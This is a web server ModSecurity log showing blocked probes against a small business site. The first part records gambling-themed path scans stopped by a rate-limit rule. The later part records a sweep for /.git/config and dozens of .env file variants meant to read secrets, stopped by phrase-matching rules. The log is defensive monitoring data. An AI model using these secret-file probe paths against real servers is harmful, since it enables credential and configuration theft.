[Sat May 09 01:51:23.861942 2026] [:error] [pid 34318:tid 34321] [client 51.83.7.88:54750] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "af4im8r3guirgJiKhzAHbgAAAQE"]
[Sat May 09 01:51:26.385822 2026] [:error] [pid 51009:tid 51079] [client 51.83.7.88:54756] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "af4inuB0GbUWhxgzX9Wb6AAAAIM"]
[Sat May 09 01:51:28.899879 2026] [:error] [pid 51009:tid 51076] [client 51.83.7.88:54766] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "af4ioOB0GbUWhxgzX9WcAAAAAIA"]
[Sat May 09 01:51:31.278565 2026] [:error] [pid 51007:tid 51025] [client 51.83.7.88:54776] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "af4io1MagSGstWKyzzUf-wAAAAM"]
[Sat May 09 01:51:33.803888 2026] [:error] [pid 61355:tid 61380] [client 51.83.7.88:60790] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "af4ipfkhJTi30CBXmMlEKgAAAZM"]
[Sat May 09 01:51:36.175087 2026] [:error] [pid 61356:tid 61393] [client 51.83.7.88:60804] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "af4iqIx3vpB8oWhUq2MzXwAAAcU"]
[Sat May 09 01:51:38.701561 2026] [:error] [pid 61356:tid 61400] [client 51.83.7.88:60810] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "af4iqox3vpB8oWhUq2MzbgAAAcw"]
[Sat May 09 01:51:41.221953 2026] [:error] [pid 61355:tid 61371] [client 51.83.7.88:60822] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "af4irfkhJTi30CBXmMlEUgAAAYo"]
[Sat May 09 01:51:43.725374 2026] [:error] [pid 61317:tid 61340] [client 51.83.7.88:36918] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "af4ir8-fFk_CedOCOYsTIwAAAVQ"]
[Sat May 09 01:51:46.089421 2026] [:error] [pid 34318:tid 34341] [client 51.83.7.88:36928] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "af4issr3guirgJiKhzAHdwAAARU"]
[Sat May 09 01:51:48.630932 2026] [:error] [pid 51008:tid 51050] [client 51.83.7.88:36934] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "af4itHB58C2Y1tgLtuLgmgAAAEE"]
[Sat May 09 01:51:51.124096 2026] [:error] [pid 61355:tid 61362] [client 51.83.7.88:36950] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "af4it_khJTi30CBXmMlEfgAAAYE"]
[Sat May 09 01:51:53.502346 2026] [:error] [pid 61355:tid 61366] [client 51.83.7.88:60782] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "af4iufkhJTi30CBXmMlEhwAAAYU"]
[Sat May 09 01:51:56.020409 2026] [:error] [pid 61355:tid 61367] [client 51.83.7.88:60796] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "af4ivPkhJTi30CBXmMlEnwAAAYY"]
[Sat May 09 01:51:58.511577 2026] [:error] [pid 34318:tid 34338] [client 51.83.7.88:60804] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "af4ivsr3guirgJiKhzAHgAAAARI"]
[Sat May 09 01:52:01.008514 2026] [:error] [pid 61317:tid 61320] [client 51.83.7.88:60810] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "af4iwc-fFk_CedOCOYsTVwAAAUA"]
[Sat May 09 01:52:03.532391 2026] [:error] [pid 61356:tid 61405] [client 51.83.7.88:34596] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "af4iw4x3vpB8oWhUq2Mz7QAAAdE"]
[Sat May 09 01:52:06.037919 2026] [:error] [pid 61356:tid 61402] [client 51.83.7.88:34612] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "af4ixox3vpB8oWhUq2M0AgAAAc4"]
[Sat May 09 01:52:08.570457 2026] [:error] [pid 61356:tid 61391] [client 51.83.7.88:34624] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "af4iyIx3vpB8oWhUq2M0HAAAAcM"]
[Sat May 09 01:52:42.439665 2026] [:error] [pid 51009:tid 51092] [client 51.83.7.88:34626] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "af4i6uB0GbUWhxgzX9WcvAAAAJA"]
[Sat May 09 01:52:44.863723 2026] [:error] [pid 51009:tid 51095] [client 51.83.7.88:52326] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "af4i7OB0GbUWhxgzX9WcwgAAAJM"]
[Sat May 09 01:52:47.215933 2026] [:error] [pid 51009:tid 51079] [client 51.83.7.88:52334] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "af4i7-B0GbUWhxgzX9WcywAAAIM"]
[Sat May 09 01:52:49.686976 2026] [:error] [pid 61317:tid 61341] [client 51.83.7.88:52342] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "af4i8c-fFk_CedOCOYsTpgAAAVU"]
[Sat May 09 01:52:52.207534 2026] [:error] [pid 61317:tid 61342] [client 51.83.7.88:45888] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "af4i9M-fFk_CedOCOYsTqQAAAVY"]
[Sat May 09 01:52:54.701880 2026] [:error] [pid 34318:tid 34324] [client 51.83.7.88:45904] [client 51.83.7.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "af4i9sr3guirgJiKhzAHpwAAAQQ"]
[Sat May 09 03:40:33.427422 2026] [:error] [pid 44316:tid 44322] [client 3.106.208.88:44958] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "af48MUJuKmhXjWVHcKlbcgAAAMQ"]
[Sat May 09 03:40:35.745371 2026] [:error] [pid 44316:tid 44322] [client 3.106.208.88:44962] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "af48M0JuKmhXjWVHcKlbiwAAAMQ"]
[Sat May 09 03:40:35.984575 2026] [:error] [pid 44316:tid 44318] [client 3.106.208.88:44966] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.local"] [unique_id "af48M0JuKmhXjWVHcKlbjgAAAMA"]
[Sat May 09 03:40:36.147288 2026] [:error] [pid 44316:tid 44340] [client 3.106.208.88:44980] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.production"] [unique_id "af48NEJuKmhXjWVHcKlbkQAAANU"]
[Sat May 09 03:40:36.360952 2026] [:error] [pid 44316:tid 44321] [client 3.106.208.88:44982] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.staging"] [unique_id "af48NEJuKmhXjWVHcKlblAAAAMM"]
[Sat May 09 03:40:36.574745 2026] [:error] [pid 44316:tid 44341] [client 3.106.208.88:44996] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.development"] [unique_id "af48NEJuKmhXjWVHcKlbmAAAANY"]
[Sat May 09 03:40:36.715533 2026] [:error] [pid 44316:tid 44339] [client 3.106.208.88:45010] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.test"] [unique_id "af48NEJuKmhXjWVHcKlbmwAAANQ"]
[Sat May 09 03:40:36.894945 2026] [:error] [pid 44316:tid 44331] [client 3.106.208.88:45020] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.remote"] [unique_id "af48NEJuKmhXjWVHcKlbngAAAM0"]
[Sat May 09 03:40:37.049538 2026] [:error] [pid 44221:tid 44294] [client 3.106.208.88:45036] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.bak"] [unique_id "af48NS3hCAZFDNMt0RGXWQAAAIo"]
[Sat May 09 03:40:37.202073 2026] [:error] [pid 44219:tid 44254] [client 3.106.208.88:45050] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.backup"] [unique_id "af48NQyQXxnoCxv60m7djwAAABg"]
[Sat May 09 03:40:37.353814 2026] [:error] [pid 44220:tid 44266] [client 3.106.208.88:45058] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.save"] [unique_id "af48Ne0E1veDTHGCCmMkkgAAAEk"]
[Sat May 09 03:40:37.609821 2026] [:error] [pid 44220:tid 44278] [client 3.106.208.88:45060] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.old"] [unique_id "af48Ne0E1veDTHGCCmMkkwAAAFU"]
[Sat May 09 03:40:37.739862 2026] [:error] [pid 44220:tid 44272] [client 3.106.208.88:45074] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.sample"] [unique_id "af48Ne0E1veDTHGCCmMklAAAAE8"]
[Sat May 09 03:40:39.563753 2026] [:error] [pid 44220:tid 44265] [client 3.106.208.88:34058] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dev"] [unique_id "af48N-0E1veDTHGCCmMkmQAAAEg"]
[Sat May 09 03:40:39.803833 2026] [:error] [pid 44221:tid 44290] [client 3.106.208.88:34070] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.prod"] [unique_id "af48Ny3hCAZFDNMt0RGXXAAAAIY"]
[Sat May 09 03:40:40.059752 2026] [:error] [pid 44219:tid 44238] [client 3.106.208.88:34086] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.stage"] [unique_id "af48OAyQXxnoCxv60m7dkQAAAAg"]
[Sat May 09 03:40:40.380068 2026] [:error] [pid 44219:tid 44236] [client 3.106.208.88:34094] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.ci"] [unique_id "af48OAyQXxnoCxv60m7dkwAAAAY"]
[Sat May 09 03:40:40.601767 2026] [:error] [pid 44221:tid 44295] [client 3.106.208.88:34102] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.docker"] [unique_id "af48OC3hCAZFDNMt0RGXYAAAAIs"]
[Sat May 09 03:40:40.768025 2026] [:error] [pid 44221:tid 44296] [client 3.106.208.88:34110] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.live"] [unique_id "af48OC3hCAZFDNMt0RGXYQAAAIw"]
[Sat May 09 03:40:41.001465 2026] [:error] [pid 44221:tid 44294] [client 3.106.208.88:34114] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.preprod"] [unique_id "af48OS3hCAZFDNMt0RGXYgAAAIo"]
[Sat May 09 03:40:41.180167 2026] [:error] [pid 44221:tid 44292] [client 3.106.208.88:34126] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.uat"] [unique_id "af48OS3hCAZFDNMt0RGXYwAAAIg"]
[Sat May 09 03:40:41.344831 2026] [:error] [pid 44220:tid 44262] [client 3.106.208.88:34134] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.dist"] [unique_id "af48Oe0E1veDTHGCCmMknAAAAEU"]
[Sat May 09 03:40:41.500018 2026] [:error] [pid 44221:tid 44303] [client 3.106.208.88:34148] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.swp"] [unique_id "af48OS3hCAZFDNMt0RGXZQAAAJM"]
[Sat May 09 03:40:41.699444 2026] [:error] [pid 44316:tid 44325] [client 3.106.208.88:34158] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env~"] [unique_id "af48OUJuKmhXjWVHcKlbygAAAMc"]
[Sat May 09 03:40:41.849641 2026] [:error] [pid 44220:tid 44278] [client 3.106.208.88:34170] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env1"] [unique_id "af48Oe0E1veDTHGCCmMkoAAAAFU"]
[Sat May 09 03:40:42.000670 2026] [:error] [pid 44316:tid 44335] [client 3.106.208.88:34182] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env2"] [unique_id "af48OUJuKmhXjWVHcKlbzAAAANE"]
[Sat May 09 03:40:42.254287 2026] [:error] [pid 44219:tid 44248] [client 3.106.208.88:34198] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env_copy"] [unique_id "af48OgyQXxnoCxv60m7dlwAAABI"]
[Sat May 09 03:40:42.404137 2026] [:error] [pid 44316:tid 44336] [client 3.106.208.88:34212] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.txt"] [unique_id "af48OkJuKmhXjWVHcKlb0QAAANI"]
[Sat May 09 03:40:42.699943 2026] [:error] [pid 44316:tid 44338] [client 3.106.208.88:34228] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.json"] [unique_id "af48OkJuKmhXjWVHcKlb1QAAANM"]
[Sat May 09 03:40:42.890147 2026] [:error] [pid 44316:tid 44322] [client 3.106.208.88:34236] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.yaml"] [unique_id "af48OkJuKmhXjWVHcKlb2AAAAMQ"]
[Sat May 09 03:40:43.015083 2026] [:error] [pid 44316:tid 44335] [client 3.106.208.88:34238] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env.yml"] [unique_id "af48O0JuKmhXjWVHcKlb3AAAANE"]
[Sat May 09 03:40:43.178888 2026] [:error] [pid 44316:tid 44320] [client 3.106.208.88:34248] [client 3.106.208.88] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/app/.env"] [unique_id "af48O0JuKmhXjWVHcKlb3gAAAMI"]
